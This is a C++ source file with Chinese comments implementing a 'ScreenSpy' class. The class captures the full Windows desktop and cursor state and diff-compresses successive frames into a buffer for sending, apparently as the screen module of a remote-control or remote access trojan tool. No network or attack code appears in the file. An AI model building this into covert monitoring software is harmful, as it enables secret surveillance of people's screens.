267 lines
6.6 KiB
C++
267 lines
6.6 KiB
C++
// ScreenSpy.cpp: implementation of the CScreenSpy class.
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//
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//////////////////////////////////////////////////////////////////////
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#include "stdafx.h"
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#include "ScreenSpy.h"
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#include "Common.h"
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//////////////////////////////////////////////////////////////////////
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// Construction/Destruction
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//////////////////////////////////////////////////////////////////////
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CScreenSpy::CScreenSpy(ULONG ulbiBitCount)
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{
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m_bAlgorithm = ALGORITHM_DIFF;
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m_dwBitBltRop = SRCCOPY;
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m_BitmapInfor_Full = NULL;
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switch (ulbiBitCount)
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{
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case 16:
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case 32:
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m_ulbiBitCount = ulbiBitCount;
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break;
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default:
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m_ulbiBitCount = 16;
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}
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m_hDeskTopWnd = GetDesktopWindow();
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m_hFullDC = GetDC(m_hDeskTopWnd);
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m_hFullMemDC = CreateCompatibleDC(m_hFullDC);
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m_ulFullWidth = ::GetSystemMetrics(SM_CXSCREEN); //屏幕的分辨率
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m_ulFullHeight = ::GetSystemMetrics(SM_CYSCREEN);
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m_BitmapInfor_Full = ConstructBI(m_ulbiBitCount,m_ulFullWidth, m_ulFullHeight);
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m_BitmapData_Full = NULL;
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m_BitmapHandle = ::CreateDIBSection(m_hFullDC, m_BitmapInfor_Full,
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DIB_RGB_COLORS, &m_BitmapData_Full, NULL, NULL);
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::SelectObject(m_hFullMemDC, m_BitmapHandle);
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m_RectBuffer = new BYTE[m_BitmapInfor_Full->bmiHeader.biSizeImage * 2];
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m_RectBufferOffset = 0;
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m_hDiffMemDC = CreateCompatibleDC(m_hFullDC);
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m_DiffBitmapHandle = ::CreateDIBSection(m_hFullDC, m_BitmapInfor_Full,
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DIB_RGB_COLORS, &m_DiffBitmapData_Full, NULL, NULL);
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::SelectObject(m_hDiffMemDC, m_DiffBitmapHandle);
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}
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CScreenSpy::~CScreenSpy()
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{
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ReleaseDC(m_hDeskTopWnd, m_hFullDC); //GetDC
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if (m_hFullMemDC!=NULL)
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{
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DeleteDC(m_hFullMemDC); //Create匹配内存DC
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::DeleteObject(m_BitmapHandle);
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if (m_BitmapData_Full!=NULL)
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{
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m_BitmapData_Full = NULL;
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}
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m_hFullMemDC = NULL;
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}
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if (m_hDiffMemDC!=NULL)
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{
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DeleteDC(m_hDiffMemDC); //Create匹配内存DC
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::DeleteObject(m_DiffBitmapHandle);
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if (m_DiffBitmapData_Full!=NULL)
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{
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m_DiffBitmapData_Full = NULL;
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}
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}
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if (m_BitmapInfor_Full!=NULL)
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{
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delete[] m_BitmapInfor_Full;
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m_BitmapInfor_Full = NULL;
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}
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if (m_RectBuffer)
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{
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delete[] m_RectBuffer;
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m_RectBuffer = NULL;
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}
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m_RectBufferOffset = 0;
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}
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ULONG CScreenSpy::GetBISize()
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{
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ULONG ColorNum = m_ulbiBitCount <= 8 ? 1 << m_ulbiBitCount : 0;
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return sizeof(BITMAPINFOHEADER) + (ColorNum * sizeof(RGBQUAD));
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}
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LPBITMAPINFO CScreenSpy::GetBIData()
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{
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return m_BitmapInfor_Full;
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}
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LPBITMAPINFO CScreenSpy::ConstructBI(ULONG ulbiBitCount,
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ULONG ulFullWidth, ULONG ulFullHeight)
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{
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int ColorNum = ulbiBitCount <= 8 ? 1 << ulbiBitCount : 0;
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ULONG ulBitmapLength = sizeof(BITMAPINFOHEADER) + (ColorNum * sizeof(RGBQUAD)); //BITMAPINFOHEADER + 调色板的个数
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BITMAPINFO *BitmapInfor = (BITMAPINFO *) new BYTE[ulBitmapLength]; //[][]
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BITMAPINFOHEADER* BitmapInforHeader = &(BitmapInfor->bmiHeader);
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BitmapInforHeader->biSize = sizeof(BITMAPINFOHEADER);//pi si
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BitmapInforHeader->biWidth = ulFullWidth; //1080
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BitmapInforHeader->biHeight = ulFullHeight; //1920
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BitmapInforHeader->biPlanes = 1;
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BitmapInforHeader->biBitCount = ulbiBitCount; //32
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BitmapInforHeader->biCompression = BI_RGB;
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BitmapInforHeader->biXPelsPerMeter = 0;
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BitmapInforHeader->biYPelsPerMeter = 0;
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BitmapInforHeader->biClrUsed = 0;
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BitmapInforHeader->biClrImportant = 0;
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BitmapInforHeader->biSizeImage =
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((BitmapInforHeader->biWidth * BitmapInforHeader->biBitCount + 31)/32)*4* BitmapInforHeader->biHeight;
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// 16位和以后的没有颜色表，直接返回
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return BitmapInfor;
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}
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LPVOID CScreenSpy::GetFirstScreenData()
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{
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//用于从原设备中复制位图到目标设备
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::BitBlt(m_hFullMemDC, 0, 0,
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m_ulFullWidth, m_ulFullHeight, m_hFullDC, 0, 0, m_dwBitBltRop);
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return m_BitmapData_Full; //内存
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}
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ULONG CScreenSpy::GetFirstScreenLength()
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{
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return m_BitmapInfor_Full->bmiHeader.biSizeImage;
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}
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LPVOID CScreenSpy::GetNextScreenData(ULONG* ulNextSendLength)
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{
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if (ulNextSendLength == NULL || m_RectBuffer == NULL)
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{
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return NULL;
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}
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// 重置rect缓冲区指针
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m_RectBufferOffset = 0;
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// 写入使用了哪种算法
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WriteRectBuffer((LPBYTE)&m_bAlgorithm, sizeof(m_bAlgorithm));
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// 写入光标位置
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POINT CursorPos;
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GetCursorPos(&CursorPos);
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WriteRectBuffer((LPBYTE)&CursorPos, sizeof(POINT));
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// 写入当前光标类型
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BYTE bCursorIndex = m_CursorInfor.GetCurrentCursorIndex();
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WriteRectBuffer(&bCursorIndex, sizeof(BYTE));
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// 差异比较算法
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if (m_bAlgorithm == ALGORITHM_DIFF)
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{
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// 分段扫描全屏幕 将新的位图放入到m_hDiffMemDC中
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ScanScreen(m_hDiffMemDC, m_hFullDC, m_BitmapInfor_Full->bmiHeader.biWidth,
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m_BitmapInfor_Full->bmiHeader.biHeight);
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//两个Bit进行比较如果不一样修改m_lpvFullBits中的返回
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*ulNextSendLength = m_RectBufferOffset +
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CompareBitmap((LPBYTE)m_DiffBitmapData_Full, (LPBYTE)m_BitmapData_Full,
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m_RectBuffer + m_RectBufferOffset, m_BitmapInfor_Full->bmiHeader.biSizeImage);
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return m_RectBuffer;
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}
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return NULL;
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}
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VOID CScreenSpy::WriteRectBuffer(LPBYTE szBuffer,ULONG ulLength)
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{
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memcpy(m_RectBuffer + m_RectBufferOffset, szBuffer, ulLength);
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m_RectBufferOffset += ulLength;
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}
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VOID CScreenSpy::ScanScreen(HDC hdcDest, HDC hdcSour, ULONG ulWidth, ULONG ulHeight)
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{
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ULONG ulJumpLine = 50;
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ULONG ulJumpSleep = ulJumpLine / 10;
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for (int i = 0, ulToJump = 0; i < ulHeight; i += ulToJump)
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{
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ULONG ulv1 = ulHeight - i;
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if (ulv1 > ulJumpLine)
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ulToJump = ulJumpLine;
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else
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ulToJump = ulv1;
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BitBlt(hdcDest, 0, i, ulWidth, ulToJump, hdcSour,0, i, m_dwBitBltRop);
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Sleep(ulJumpSleep);
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}
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}
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ULONG CScreenSpy::CompareBitmap(LPBYTE CompareSourData, LPBYTE CompareDestData,
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LPBYTE szBuffer, DWORD ulCompareLength)
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{
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// Windows规定一个扫描行所占的字节数必须是4的倍数, 所以用DWORD比较
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LPDWORD p1, p2;
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p1 = (LPDWORD)CompareDestData;
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p2 = (LPDWORD)CompareSourData;
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// 偏移的偏移，不同长度的偏移
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ULONG ulszBufferOffset = 0, ulv1 = 0, ulv2 = 0;
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ULONG ulCount = 0; // 数据计数器
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// p1++实际上是递增了一个DWORD
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for (int i = 0; i < ulCompareLength; i += 4, p1++, p2++)
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{
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if (*p1 == *p2)
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continue;
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// 一个新数据块开始
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// 写入偏移地址
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*(LPDWORD)(szBuffer + ulszBufferOffset) = i;
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// 记录数据大小的存放位置
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ulv1 = ulszBufferOffset + sizeof(int); //4
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ulv2 = ulv1 + sizeof(int); //8
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ulCount = 0; // 数据计数器归零
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// 更新Dest中的数据
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*p1 = *p2;
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*(LPDWORD)(szBuffer + ulv2 + ulCount) = *p2;
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/*
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[1][2][3][3]
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[1][3][2][1]
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[0000][ ][1321]
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*/
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ulCount += 4;
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i += 4, p1++, p2++;
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for (int j = i; j < ulCompareLength; j += 4, i += 4, p1++, p2++)
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{
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if (*p1 == *p2)
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break;
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// 更新Dest中的数据
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*p1 = *p2;
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*(LPDWORD)(szBuffer + ulv2 + ulCount) = *p2;
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ulCount += 4;
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}
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// 写入数据长度
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*(LPDWORD)(szBuffer + ulv1) = ulCount;
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ulszBufferOffset = ulv2 + ulCount;
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}
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// nOffsetOffset 就是写入的总大小
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return ulszBufferOffset;
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}
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